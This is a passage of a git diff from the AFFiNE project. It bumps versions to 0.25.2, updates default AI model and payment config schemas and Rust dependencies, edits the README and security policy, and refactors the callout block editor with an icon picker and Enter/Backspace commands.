"fallbackSMTP.name": {
"type": "string",
"description": "Name of the fallback email server (e.g. your domain name)\n@default \"AFFiNE Server\"",
"default": "AFFiNE Server"
},
"fallbackSMTP.host": {
"type": "string",
"description": "Host of the email server (e.g. smtp.gmail.com)\n@default \"\"",
@@ -669,18 +684,18 @@
},
"scenarios": {
"type": "object",
"description": "Use custom models in scenarios and override default settings.\n@default {\"override_enabled\":false,\"scenarios\":{\"audio_transcribing\":\"gemini-2.5-flash\",\"chat\":\"claude-sonnet-4@20250514\",\"embedding\":\"gemini-embedding-001\",\"image\":\"gpt-image-1\",\"rerank\":\"gpt-4.1\",\"coding\":\"claude-sonnet-4@20250514\",\"complex_text_generation\":\"gpt-4o-2024-08-06\",\"quick_decision_making\":\"gpt-4.1-mini\",\"quick_text_generation\":\"gemini-2.5-flash\",\"polish_and_summarize\":\"gemini-2.5-flash\"}}",
"description": "Use custom models in scenarios and override default settings.\n@default {\"override_enabled\":false,\"scenarios\":{\"audio_transcribing\":\"gemini-2.5-flash\",\"chat\":\"gemini-2.5-flash\",\"embedding\":\"gemini-embedding-001\",\"image\":\"gpt-image-1\",\"rerank\":\"gpt-4.1\",\"coding\":\"claude-sonnet-4-5@20250929\",\"complex_text_generation\":\"gpt-4o-2024-08-06\",\"quick_decision_making\":\"gpt-5-mini\",\"quick_text_generation\":\"gemini-2.5-flash\",\"polish_and_summarize\":\"gemini-2.5-flash\"}}",
"default": {
"override_enabled": false,
"scenarios": {
"audio_transcribing": "gemini-2.5-flash",
"chat": "claude-sonnet-4@20250514",
"chat": "gemini-2.5-flash",
"embedding": "gemini-embedding-001",
"image": "gpt-image-1",
"rerank": "gpt-4.1",
"coding": "claude-sonnet-4@20250514",
"coding": "claude-sonnet-4-5@20250929",
"complex_text_generation": "gpt-4o-2024-08-06",
"quick_decision_making": "gpt-4.1-mini",
"quick_decision_making": "gpt-5-mini",
"quick_text_generation": "gemini-2.5-flash",
"polish_and_summarize": "gemini-2.5-flash"
}
@@ -1093,18 +1108,33 @@
},
"apiKey": {
"type": "string",
"description": "Stripe API key to enable payment service.\n@default \"\"\n@environment `STRIPE_API_KEY`",
"description": "[Deprecated] Stripe API key. Use payment.stripe.apiKey instead.\n@default \"\"\n@environment `STRIPE_API_KEY`",
"default": ""
},
"webhookKey": {
"type": "string",
"description": "Stripe webhook key to enable payment service.\n@default \"\"\n@environment `STRIPE_WEBHOOK_KEY`",
"description": "[Deprecated] Stripe webhook key. Use payment.stripe.webhookKey instead.\n@default \"\"\n@environment `STRIPE_WEBHOOK_KEY`",
"default": ""
},
"stripe": {
"type": "object",
"description": "Stripe sdk options\n@default {}\n@link https://docs.stripe.com/api",
"default": {}
"description": "Stripe sdk options and credentials\n@default {\"apiKey\":\"\",\"webhookKey\":\"\"}\n@link https://docs.stripe.com/api",
"default": {
"apiKey": "",
"webhookKey": ""
}
},
"revenuecat": {
"type": "object",
"description": "RevenueCat integration configs\n@default {\"enabled\":false,\"apiKey\":\"\",\"projectId\":\"\",\"webhookAuth\":\"\",\"environment\":\"production\",\"productMap\":{}}\n@link https://www.revenuecat.com/docs/",
"default": {
"enabled": false,
"apiKey": "",
"projectId": "",
"webhookAuth": "",
"environment": "production",
"productMap": {}
}
}
}
},

View File

@@ -3,4 +3,4 @@ name: affine
description: AFFiNE cloud chart
type: application
version: 0.0.0
appVersion: "0.22.4"
appVersion: "0.25.2"

View File

@@ -3,7 +3,7 @@ name: doc
description: AFFiNE doc server
type: application
version: 0.0.0
appVersion: "0.22.4"
appVersion: "0.25.2"
dependencies:
- name: gcloud-sql-proxy
version: 0.0.0

View File

@@ -3,7 +3,7 @@ name: graphql
description: AFFiNE GraphQL server
type: application
version: 0.0.0
appVersion: "0.22.4"
appVersion: "0.25.2"
dependencies:
- name: gcloud-sql-proxy
version: 0.0.0

View File

@@ -3,7 +3,7 @@ name: renderer
description: AFFiNE renderer server
type: application
version: 0.0.0
appVersion: "0.22.4"
appVersion: "0.25.2"
dependencies:
- name: gcloud-sql-proxy
version: 0.0.0

View File

@@ -3,7 +3,7 @@ name: sync
description: AFFiNE Sync Server
type: application
version: 0.0.0
appVersion: "0.22.4"
appVersion: "0.25.2"
dependencies:
- name: gcloud-sql-proxy
version: 0.0.0

View File

@@ -2,6 +2,7 @@
**/node_modules
.yarn
.github/helm
.git
.vscode
.yarnrc.yml
.docker

73
Cargo.lock generated
View File

@@ -93,7 +93,7 @@ dependencies = [
"symphonia",
"thiserror 2.0.12",
"uuid",
"windows 0.61.1",
"windows 0.61.3",
"windows-core 0.61.2",
]
@@ -161,7 +161,9 @@ dependencies = [
"affine_common",
"chrono",
"file-format",
"infer",
"mimalloc",
"mp4parse",
"napi",
"napi-build",
"napi-derive",
@@ -573,6 +575,15 @@ dependencies = [
"serde",
]
[[package]]
name = "bitreader"
version = "0.3.11"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "886559b1e163d56c765bc3a985febb4eee8009f625244511d8ee3c432e08c066"
dependencies = [
"cfg-if",
]
[[package]]
name = "bitvec"
version = "1.0.1"
@@ -1482,6 +1493,15 @@ version = "0.1.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "af9673d8203fcb076b19dfd17e38b3d4ae9f44959416ea532ce72415a6020365"
[[package]]
name = "fallible_collections"
version = "0.4.9"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "a88c69768c0a15262df21899142bc6df9b9b823546d4b4b9a7bc2d6c448ec6fd"
dependencies = [
"hashbrown 0.13.2",
]
[[package]]
name = "fancy-regex"
version = "0.13.0"
@@ -1504,9 +1524,9 @@ dependencies = [
[[package]]
name = "file-format"
version = "0.26.0"
version = "0.28.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e7ef3d5e8ae27277c8285ac43ed153158178ef0f79567f32024ca8140a0c7cd8"
checksum = "0eab8aa2fba5f39f494000a22f44bf3c755b7d7f8ffad3f36c6d507893074159"
[[package]]
name = "flate2"
@@ -1691,7 +1711,7 @@ dependencies = [
"libc",
"log",
"rustversion",
"windows 0.61.1",
"windows 0.61.3",
]
[[package]]
@@ -1800,6 +1820,15 @@ dependencies = [
"syn 1.0.109",
]
[[package]]
name = "hashbrown"
version = "0.13.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "43a3c133739dddd0d2990f9a4bdf8eb4b21ef50e4851ca85ab661199821d510e"
dependencies = [
"ahash",
]
[[package]]
name = "hashbrown"
version = "0.14.5"
@@ -1913,7 +1942,7 @@ dependencies = [
"js-sys",
"log",
"wasm-bindgen",
"windows-core 0.57.0",
"windows-core 0.61.2",
]
[[package]]
@@ -2284,7 +2313,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "07033963ba89ebaf1584d767badaa2e8fcec21aedea6b8c0346d487d49c28667"
dependencies = [
"cfg-if",
"windows-targets 0.48.5",
"windows-targets 0.52.6",
]
[[package]]
@@ -2493,6 +2522,20 @@ dependencies = [
"windows-sys 0.59.0",
]
[[package]]
name = "mp4parse"
version = "0.17.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "63a35203d3c6ce92d5251c77520acb2e57108c88728695aa883f70023624c570"
dependencies = [
"bitreader",
"byteorder",
"fallible_collections",
"log",
"num-traits",
"static_assertions",
]
[[package]]
name = "nanoid"
version = "0.4.0"
@@ -4732,9 +4775,9 @@ dependencies = [
[[package]]
name = "tree-sitter"
version = "0.25.5"
version = "0.25.8"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ac5fff5c47490dfdf473b5228039bfacad9d765d9b6939d26bf7cc064c1c7822"
checksum = "6d7b8994f367f16e6fa14b5aebbcb350de5d7cbea82dc5b00ae997dd71680dd2"
dependencies = [
"cc",
"regex",
@@ -4842,9 +4885,9 @@ dependencies = [
[[package]]
name = "tree-sitter-scala"
version = "0.23.4"
version = "0.24.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "efde5e68b4736e9eac17bfa296c6f104a26bffab363b365eb898c40a63c15d2f"
checksum = "7516aeb3d1f40ede8e3045b163e86993b3434514dd06c34c0b75e782d9a0b251"
dependencies = [
"cc",
"tree-sitter-language",
@@ -5334,7 +5377,7 @@ version = "0.1.9"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "cf221c93e13a30d793f7645a0e7762c55d169dbb0a49671918a2319d289b10bb"
dependencies = [
"windows-sys 0.48.0",
"windows-sys 0.59.0",
]
[[package]]
@@ -5365,9 +5408,9 @@ dependencies = [
[[package]]
name = "windows"
version = "0.61.1"
version = "0.61.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "c5ee8f3d025738cb02bad7868bbb5f8a6327501e870bf51f1b455b0a2454a419"
checksum = "9babd3a767a4c1aef6900409f85f5d53ce2544ccdfaa86dad48c91782c6d6893"
dependencies = [
"windows-collections",
"windows-core 0.61.2",
@@ -5477,9 +5520,9 @@ dependencies = [
[[package]]
name = "windows-link"
version = "0.1.1"
version = "0.1.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "76840935b766e1b0a05c0066835fb9ec80071d4c09a16f6bd5f7e655e3c14c38"
checksum = "5e6ad25900d524eaabdbbb96d20b4311e1e7ae1699af4fb28c17ae66c80d798a"
[[package]]
name = "windows-numerics"

View File

@@ -39,7 +39,7 @@ crossbeam-channel = "0.5"
dispatch2 = "0.3"
docx-parser = { git = "https://github.com/toeverything/docx-parser" }
dotenvy = "0.15"
file-format = { version = "0.26", features = ["reader"] }
file-format = { version = "0.28", features = ["reader"] }
homedir = "0.3"
infer = { version = "0.19.0" }
lasso = { version = "0.7", features = ["multi-threaded"] }
@@ -48,6 +48,7 @@ libc = "0.2"
log = "0.4"
loom = { version = "0.7", features = ["checkpoint"] }
mimalloc = "0.1"
mp4parse = "0.17"
nanoid = "0.4"
napi = { version = "3.0.0-beta.3", features = ["async", "chrono_date", "error_anyhow", "napi9", "serde"] }
napi-build = { version = "2" }
@@ -93,7 +94,7 @@ tree-sitter-javascript = { version = "0.23" }
tree-sitter-kotlin-ng = { version = "1.1" }
tree-sitter-python = { version = "0.23" }
tree-sitter-rust = { version = "0.24" }
tree-sitter-scala = { version = "0.23" }
tree-sitter-scala = { version = "0.24" }
tree-sitter-typescript = { version = "0.23" }
uniffi = "0.29"
url = { version = "2.5" }

View File

@@ -6,7 +6,7 @@
<br>
</h1>
<a href="https://affine.pro/download">
<img alt="affine logo" src="https://cdn.affine.pro/Github_hero_image1.png" style="width: 100%">
<img alt="affine logo" src="https://cdn.affine.pro/Github_hero_image2.png" style="width: 100%">
</a>
<br/>
<p align="center">
@@ -81,7 +81,7 @@ Star us, and you will receive all release notifications from GitHub without any
**Multimodal AI partner ready to kick in any work**
- Write up professional work report? Turn an outline into expressive and presentable slides? Summary an article into a well-structured mindmap? Sorting your job plan and backlog for tasks? Or... draw and code prototype apps and web pages directly all with one prompt? With you, [AFFiNE AI](https://affine.pro/ai) pushes your creativity to the edge of your imagination,just like [Canvas AI](https://affine.pro/blog/best-canvas-ai) to generate mind map for brainstorming.
- Write up professional work report? Turn an outline into expressive and presentable slides? Summary an article into a well-structured mindmap? Sorting your job plan and backlog for tasks? Or... draw and code prototype apps and web pages directly all with one prompt? With you, [AFFiNE AI](https://affine.pro/ai) pushes your creativity to the edge of your imagination, just like [Canvas AI](https://affine.pro/blog/best-canvas-ai) to generate mind map for brainstorming.
**Local-first & Real-time collaborative**

View File

@@ -6,12 +6,12 @@ We recommend users to always use the latest major version. Security updates will
| Version | Supported |
| --------------- | ------------------ |
| 0.17.x (stable) | :white_check_mark: |
| < 0.17.x | :x: |
| 0.24.x (stable) | :white_check_mark: |
| < 0.24.x | :x: |
## Reporting a Vulnerability
We welcome you to provide us with bug reports via and email at [security@toeverything.info](mailto:security@toeverything.info). We expect your report to contain at least the following for us to evaluate and reproduce:
We welcome you to provide us with bug reports via and email at [security@toeverything.info](mailto:security@toeverything.info) or submit directly on [GitHub](https://github.com/toeverything/AFFiNE/security), **we encourage you to submit the relevant information directly via GitHub**. We expect your report to contain at least the following for us to evaluate and reproduce:
1. Using platform and version, for example:
@@ -22,8 +22,6 @@ We welcome you to provide us with bug reports via and email at [security@toevery
3. Your classification or analysis of the vulnerability (optional)
Since we are an open source project, we also welcome you to provide corresponding fix PRs.
We will provide bounties for vulnerabilities involving user information leakage, permission leakage, and unauthorized code execution. For other types of vulnerabilities, we will determine specific rewards based on the evaluation results.
Since we are an open source project, we also welcome you to provide corresponding fix PRs, we will determine specific rewards based on the evaluation results.
If the vulnerability is caused by a library we depend on, we encourage you to submit a security report to the corresponding dependent library at the same time to benefit more users.

View File

@@ -296,7 +296,7 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4",
"version": "0.25.2",
"devDependencies": {
"@vanilla-extract/vite-plugin": "^5.0.0",
"msw": "^2.8.4",

View File

@@ -17,7 +17,7 @@
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/affine-widget-slash-menu": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@floating-ui/dom": "^1.6.13",
@@ -41,5 +41,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.2"
}

View File

@@ -19,7 +19,7 @@
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/affine-widget-slash-menu": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@lit/context": "^1.1.2",
@@ -45,5 +45,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.2"
}

View File

@@ -18,10 +18,11 @@
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/affine-widget-slash-menu": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@emoji-mart/data": "^1.2.1",
"@emotion/css": "^11.13.5",
"@floating-ui/dom": "^1.6.10",
"@lit/context": "^1.1.2",
"@preact/signals-core": "^1.8.0",
@@ -44,5 +45,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.2"
}

View File

@@ -0,0 +1,56 @@
import { css } from '@emotion/css';
export const calloutHostStyles = css({
display: 'block',
margin: '8px 0',
});
export const calloutBlockContainerStyles = css({
display: 'flex',
alignItems: 'flex-start',
padding: '5px 10px',
borderRadius: '8px',
});
export const calloutEmojiContainerStyles = css({
userSelect: 'none',
fontSize: '1.2em',
width: '24px',
height: '24px',
display: 'flex',
alignItems: 'center',
justifyContent: 'center',
// marginTop is dynamically set by JavaScript based on first child's height
marginBottom: '10px',
flexShrink: 0,
position: 'relative',
});
export const calloutEmojiStyles = css({
display: 'flex',
alignItems: 'center',
justifyContent: 'center',
':hover': {
cursor: 'pointer',
opacity: 0.7,
},
});
export const calloutChildrenStyles = css({
flex: 1,
minWidth: 0,
paddingLeft: '10px',
});
export const iconPickerContainerStyles = css({
position: 'absolute',
top: '100%',
left: 0,
zIndex: 1000,
background: 'white',
border: '1px solid #ccc',
borderRadius: '8px',
boxShadow: '0 4px 12px rgba(0, 0, 0, 0.15)',
width: '390px',
height: '400px',
});

View File

@@ -1,84 +1,191 @@
import { CaptionedBlockComponent } from '@blocksuite/affine-components/caption';
import { createLitPortal } from '@blocksuite/affine-components/portal';
import {
createPopup,
popupTargetFromElement,
} from '@blocksuite/affine-components/context-menu';
import { DefaultInlineManagerExtension } from '@blocksuite/affine-inline-preset';
import { type CalloutBlockModel } from '@blocksuite/affine-model';
import {
type CalloutBlockModel,
ParagraphBlockModel,
} from '@blocksuite/affine-model';
import { focusTextModel } from '@blocksuite/affine-rich-text';
import { EDGELESS_TOP_CONTENTEDITABLE_SELECTOR } from '@blocksuite/affine-shared/consts';
import {
DocModeProvider,
ThemeProvider,
type IconData,
IconPickerServiceIdentifier,
IconType,
} from '@blocksuite/affine-shared/services';
import { unsafeCSSVarV2 } from '@blocksuite/affine-shared/theme';
import type { UniComponent } from '@blocksuite/affine-shared/types';
import * as icons from '@blocksuite/icons/lit';
import type { BlockComponent } from '@blocksuite/std';
import { flip, offset } from '@floating-ui/dom';
import { css, html } from 'lit';
import { query } from 'lit/decorators.js';
import { styleMap } from 'lit/directives/style-map.js';
import { type Signal } from '@preact/signals-core';
import { cssVarV2 } from '@toeverything/theme/v2';
import type { TemplateResult } from 'lit';
import { html } from 'lit';
import { type StyleInfo, styleMap } from 'lit/directives/style-map.js';
import {
calloutBlockContainerStyles,
calloutChildrenStyles,
calloutEmojiContainerStyles,
calloutEmojiStyles,
calloutHostStyles,
} from './callout-block-styles.js';
import { IconPickerWrapper } from './icon-picker-wrapper.js';
// Copy of renderUniLit and UniLit from affine-data-view
export const renderUniLit = <Props, Expose extends NonNullable<unknown>>(
uni: UniComponent<Props, Expose> | undefined,
props?: Props,
options?: {
ref?: Signal<Expose | undefined>;
style?: Readonly<StyleInfo>;
class?: string;
}
): TemplateResult => {
return html` <uni-lit
.uni="${uni}"
.props="${props}"
.ref="${options?.ref}"
style=${options?.style ? styleMap(options?.style) : ''}
></uni-lit>`;
};
const getIcon = (icon?: IconData) => {
if (!icon) {
return null;
}
if (icon.type === IconType.Emoji) {
return icon.unicode;
}
if (icon.type === IconType.AffineIcon) {
return (
icons as Record<string, (props: { style: string }) => TemplateResult>
)[`${icon.name}Icon`]?.({ style: `color:${icon.color}` });
}
return null;
};
export class CalloutBlockComponent extends CaptionedBlockComponent<CalloutBlockModel> {
static override styles = css`
:host {
display: block;
margin: 8px 0;
private _popupCloseHandler: (() => void) | null = null;
override connectedCallback() {
super.connectedCallback();
this.classList.add(calloutHostStyles);
}
private _getEmojiMarginTop(): string {
if (this.model.children.length === 0) {
return '10px';
}
.affine-callout-block-container {
display: flex;
padding: 5px 10px;
border-radius: 8px;
background-color: ${unsafeCSSVarV2('block/callout/background/grey')};
const firstChild = this.model.children[0];
const flavour = firstChild.flavour;
const marginTopMap: Record<string, string> = {
'affine:paragraph:h1': '23px',
'affine:paragraph:h2': '20px',
'affine:paragraph:h3': '16px',
'affine:paragraph:h4': '15px',
'affine:paragraph:h5': '14px',
'affine:paragraph:h6': '13px',
};
// For heading blocks, use the type to determine margin
if (flavour === 'affine:paragraph') {
const paragraph = firstChild as ParagraphBlockModel;
const type = paragraph.props.type$.value;
const key = `${flavour}:${type}`;
return marginTopMap[key] || '10px';
}
.affine-callout-emoji-container {
margin-right: 10px;
margin-top: 14px;
user-select: none;
font-size: 1.2em;
width: 24px;
height: 24px;
display: flex;
align-items: center;
justify-content: center;
// Default for all other block types
return '10px';
}
private _closeIconPicker() {
if (this._popupCloseHandler) {
this._popupCloseHandler();
this._popupCloseHandler = null;
}
.affine-callout-emoji:hover {
cursor: pointer;
opacity: 0.7;
}
private _toggleIconPicker(event: MouseEvent) {
// If popup is already open, close it
if (this._popupCloseHandler) {
this._closeIconPicker();
return;
}
.affine-callout-children {
flex: 1;
min-width: 0;
padding-left: 10px;
// Get IconPickerService from the framework
const iconPickerService = this.std.getOptional(IconPickerServiceIdentifier);
if (!iconPickerService) {
console.warn('IconPickerService not found');
return;
}
`;
private _emojiMenuAbortController: AbortController | null = null;
private readonly _toggleEmojiMenu = () => {
if (this._emojiMenuAbortController) {
this._emojiMenuAbortController.abort();
}
this._emojiMenuAbortController = new AbortController();
// Get the uni-component from the service
const iconPickerComponent = iconPickerService.iconPickerComponent;
const theme = this.std.get(ThemeProvider).theme$.value;
createLitPortal({
template: html`<affine-emoji-menu
.theme=${theme}
.onEmojiSelect=${(data: any) => {
this.model.props.emoji = data.native;
}}
></affine-emoji-menu>`,
portalStyles: {
zIndex: 'var(--affine-z-index-popover)',
// Create props for the icon picker
const props = {
onSelect: (iconData?: IconData) => {
this.model.props.icon$.value = iconData;
this._closeIconPicker(); // Close the picker after selection
},
container: this.host,
computePosition: {
referenceElement: this._emojiButton,
placement: 'bottom-start',
middleware: [flip(), offset(4)],
autoUpdate: { animationFrame: true },
onClose: () => {
this._closeIconPicker();
},
};
// Create IconPickerWrapper instance
const wrapper = new IconPickerWrapper();
wrapper.iconPickerComponent = iconPickerComponent;
wrapper.props = props;
wrapper.style.position = 'absolute';
wrapper.style.backgroundColor = cssVarV2.layer.background.overlayPanel;
wrapper.style.boxShadow = 'var(--affine-menu-shadow)';
wrapper.style.borderRadius = '8px';
// Create popup target from the clicked element
const target = popupTargetFromElement(event.currentTarget as HTMLElement);
// Create popup
this._popupCloseHandler = createPopup(target, wrapper, {
onClose: () => {
this._popupCloseHandler = null;
},
abortController: this._emojiMenuAbortController,
closeOnClickAway: true,
});
}
private readonly _handleBlockClick = (event: MouseEvent) => {
// Check if the click target is emoji related element
const target = event.target as HTMLElement;
if (
target.closest('.affine-callout-emoji-container') ||
target.classList.contains('affine-callout-emoji')
) {
return;
}
// If there's no icon, open icon picker on click
const icon = this.model.props.icon$.value;
if (!icon) {
this._toggleIconPicker(event);
return;
}
// Only handle clicks when there are no children
if (this.model.children.length > 0) {
return;
}
// Prevent event bubbling
event.stopPropagation();
// Create a new paragraph block
const paragraphId = this.store.addBlock('affine:paragraph', {}, this.model);
// Focus the new paragraph
focusTextModel(this.std, paragraphId);
};
get attributeRenderer() {
@@ -97,9 +204,6 @@ export class CalloutBlockComponent extends CaptionedBlockComponent<CalloutBlockM
return this.std.get(DefaultInlineManagerExtension.identifier);
}
@query('.affine-callout-emoji')
private accessor _emojiButton!: HTMLElement;
override get topContenteditableElement() {
if (this.std.get(DocModeProvider).getEditorMode() === 'edgeless') {
return this.closest<BlockComponent>(
@@ -110,20 +214,39 @@ export class CalloutBlockComponent extends CaptionedBlockComponent<CalloutBlockM
}
override renderBlock() {
const emoji = this.model.props.emoji$.value;
const icon = this.model.props.icon$.value;
const backgroundColorName = this.model.props.backgroundColorName$.value;
const backgroundColor = (
cssVarV2.block.callout.background as Record<string, string>
)[backgroundColorName ?? ''];
const iconContent = getIcon(icon);
return html`
<div class="affine-callout-block-container">
<div
@click=${this._toggleEmojiMenu}
contenteditable="false"
class="affine-callout-emoji-container"
style=${styleMap({
display: emoji.length === 0 ? 'none' : undefined,
})}
>
<span class="affine-callout-emoji">${emoji}</span>
</div>
<div class="affine-callout-children">
<div
class="${calloutBlockContainerStyles}"
@click=${this._handleBlockClick}
style=${styleMap({
backgroundColor: backgroundColor ?? 'transparent',
})}
>
${iconContent
? html`
<div
@click=${this._toggleIconPicker}
contenteditable="false"
class="${calloutEmojiContainerStyles}"
style=${styleMap({
marginTop: this._getEmojiMarginTop(),
})}
>
<span class="${calloutEmojiStyles}" data-testid="callout-emoji"
>${iconContent}</span
>
</div>
`
: ''}
<div class="${calloutChildrenStyles}">
${this.renderChildren(this.model)}
</div>
</div>

View File

@@ -1,4 +1,7 @@
import { CalloutBlockModel } from '@blocksuite/affine-model';
import {
CalloutBlockModel,
ParagraphBlockModel,
} from '@blocksuite/affine-model';
import { matchModels } from '@blocksuite/affine-shared/utils';
import {
BlockSelection,
@@ -6,13 +9,46 @@ import {
TextSelection,
} from '@blocksuite/std';
import { calloutToParagraphCommand } from './commands/callout-to-paragraph.js';
import { splitCalloutCommand } from './commands/split-callout.js';
export const CalloutKeymapExtension = KeymapExtension(std => {
return {
Enter: ctx => {
const text = std.selection.find(TextSelection);
if (!text) return false;
const currentBlock = std.store.getBlock(text.from.blockId);
if (!currentBlock) return false;
// Check if current block is a callout block
let calloutBlock = currentBlock;
if (!matchModels(currentBlock.model, [CalloutBlockModel])) {
// If not, check if the parent is a callout block
const parent = std.store.getParent(currentBlock.model);
if (!parent || !matchModels(parent, [CalloutBlockModel])) {
return false;
}
const parentBlock = std.store.getBlock(parent.id);
if (!parentBlock) return false;
calloutBlock = parentBlock;
}
ctx.get('keyboardState').raw.preventDefault();
std.command
.chain()
.pipe(splitCalloutCommand, {
blockId: calloutBlock.model.id,
inlineIndex: text.from.index,
currentBlockId: text.from.blockId,
})
.run();
return true;
},
Backspace: ctx => {
const text = std.selection.find(TextSelection);
if (text && text.isCollapsed() && text.from.index === 0) {
const event = ctx.get('defaultState').event;
event.preventDefault();
const block = std.store.getBlock(text.from.blockId);
if (!block) return false;
@@ -20,6 +56,22 @@ export const CalloutKeymapExtension = KeymapExtension(std => {
if (!parent) return false;
if (!matchModels(parent, [CalloutBlockModel])) return false;
// Check if current block is a paragraph inside callout
if (matchModels(block.model, [ParagraphBlockModel])) {
event.preventDefault();
std.command
.chain()
.pipe(calloutToParagraphCommand, {
id: block.model.id,
})
.run();
return true;
}
// Fallback to selecting the callout block
event.preventDefault();
std.selection.setGroup('note', [
std.selection.create(BlockSelection, {
blockId: parent.id,

View File

@@ -0,0 +1,86 @@
import {
CalloutBlockModel,
ParagraphBlockModel,
} from '@blocksuite/affine-model';
import { focusTextModel } from '@blocksuite/affine-rich-text';
import { matchModels } from '@blocksuite/affine-shared/utils';
import type { Command } from '@blocksuite/std';
import { BlockSelection } from '@blocksuite/std';
import { Text } from '@blocksuite/store';
export const calloutToParagraphCommand: Command<
{
id: string;
stopCapturing?: boolean;
},
{
success: boolean;
}
> = (ctx, next) => {
const { id, stopCapturing = true } = ctx;
const std = ctx.std;
const doc = std.store;
const model = doc.getBlock(id)?.model;
if (!model || !matchModels(model, [ParagraphBlockModel])) return false;
const parent = doc.getParent(model);
if (!parent || !matchModels(parent, [CalloutBlockModel])) return false;
if (stopCapturing) std.store.captureSync();
// Get current block index in callout
const currentIndex = parent.children.indexOf(model);
const hasText = model.text && model.text.length > 0;
// Find previous paragraph block in callout
let previousBlock = null;
for (let i = currentIndex - 1; i >= 0; i--) {
const sibling = parent.children[i];
if (matchModels(sibling, [ParagraphBlockModel])) {
previousBlock = sibling;
break;
}
}
if (previousBlock && hasText) {
// Clone current text content before any operations to prevent data loss
const currentText = model.text || new Text();
// Get previous block text and merge index
const previousText = previousBlock.text || new Text();
const mergeIndex = previousText.length;
// Apply each delta from cloned current text to previous block to preserve formatting
previousText.join(currentText);
// Remove current block after text has been merged
doc.deleteBlock(model, {
deleteChildren: false,
});
// Focus at merge point in previous block
focusTextModel(std, previousBlock.id, mergeIndex);
} else if (previousBlock && !hasText) {
// Move cursor to end of previous block
doc.deleteBlock(model, {
deleteChildren: false,
});
const previousText = previousBlock.text || new Text();
focusTextModel(std, previousBlock.id, previousText.length);
} else {
// No previous block, select the entire callout
doc.deleteBlock(model, {
deleteChildren: false,
});
std.selection.setGroup('note', [
std.selection.create(BlockSelection, {
blockId: parent.id,
}),
]);
}
return next({ success: true });
};

View File

@@ -0,0 +1,85 @@
import {
CalloutBlockModel,
ParagraphBlockModel,
} from '@blocksuite/affine-model';
import { focusTextModel } from '@blocksuite/affine-rich-text';
import { matchModels } from '@blocksuite/affine-shared/utils';
import type { Command, EditorHost } from '@blocksuite/std';
export const splitCalloutCommand: Command<{
blockId: string;
inlineIndex: number;
currentBlockId: string;
}> = (ctx, next) => {
const { blockId, inlineIndex, currentBlockId, std } = ctx;
const host = std.host as EditorHost;
const doc = host.store;
const calloutModel = doc.getBlock(blockId)?.model;
if (!calloutModel || !matchModels(calloutModel, [CalloutBlockModel])) {
console.error(`block ${blockId} is not a callout block`);
return;
}
const currentModel = doc.getBlock(currentBlockId)?.model;
if (!currentModel) {
console.error(`current block ${currentBlockId} not found`);
return;
}
doc.captureSync();
if (matchModels(currentModel, [ParagraphBlockModel])) {
// User is in a paragraph within the callout's children
const afterText = currentModel.props.text.split(inlineIndex);
// Update the current paragraph's text to keep only the part before cursor
doc.transact(() => {
currentModel.props.text.delete(
inlineIndex,
currentModel.props.text.length - inlineIndex
);
});
// Create a new paragraph block after the current one
const parent = doc.getParent(currentModel);
if (parent) {
const currentIndex = parent.children.indexOf(currentModel);
const newParagraphId = doc.addBlock(
'affine:paragraph',
{
text: afterText,
},
parent,
currentIndex + 1
);
if (newParagraphId) {
host.updateComplete
.then(() => {
focusTextModel(std, newParagraphId);
})
.catch(console.error);
}
}
} else {
// If current block is not a paragraph, create a new paragraph in callout
const newParagraphId = doc.addBlock(
'affine:paragraph',
{
text: new Text(),
},
calloutModel
);
if (newParagraphId) {
host.updateComplete
.then(() => {
focusTextModel(std, newParagraphId);
})
.catch(console.error);
}
}
next();
};

View File

@@ -1,24 +1,12 @@
import { CalloutBlockModel } from '@blocksuite/affine-model';
import { focusBlockEnd } from '@blocksuite/affine-shared/commands';
import { FeatureFlagService } from '@blocksuite/affine-shared/services';
import {
findAncestorModel,
isInsideBlockByFlavour,
matchModels,
} from '@blocksuite/affine-shared/utils';
import { isInsideBlockByFlavour } from '@blocksuite/affine-shared/utils';
import { type SlashMenuConfig } from '@blocksuite/affine-widget-slash-menu';
import { FontIcon } from '@blocksuite/icons/lit';
import { calloutTooltip } from './tooltips';
export const calloutSlashMenuConfig: SlashMenuConfig = {
disableWhen: ({ model }) => {
return (
findAncestorModel(model, ancestor =>
matchModels(ancestor, [CalloutBlockModel])
) !== null
);
},
items: [
{
name: 'Callout',

View File

@@ -0,0 +1,204 @@
import {
createPopup,
popupTargetFromElement,
} from '@blocksuite/affine-components/context-menu';
import { EditorChevronDown } from '@blocksuite/affine-components/toolbar';
import { CalloutBlockModel } from '@blocksuite/affine-model';
import {
ActionPlacement,
type IconData,
IconPickerServiceIdentifier,
type ToolbarAction,
type ToolbarActionGroup,
type ToolbarModuleConfig,
ToolbarModuleExtension,
} from '@blocksuite/affine-shared/services';
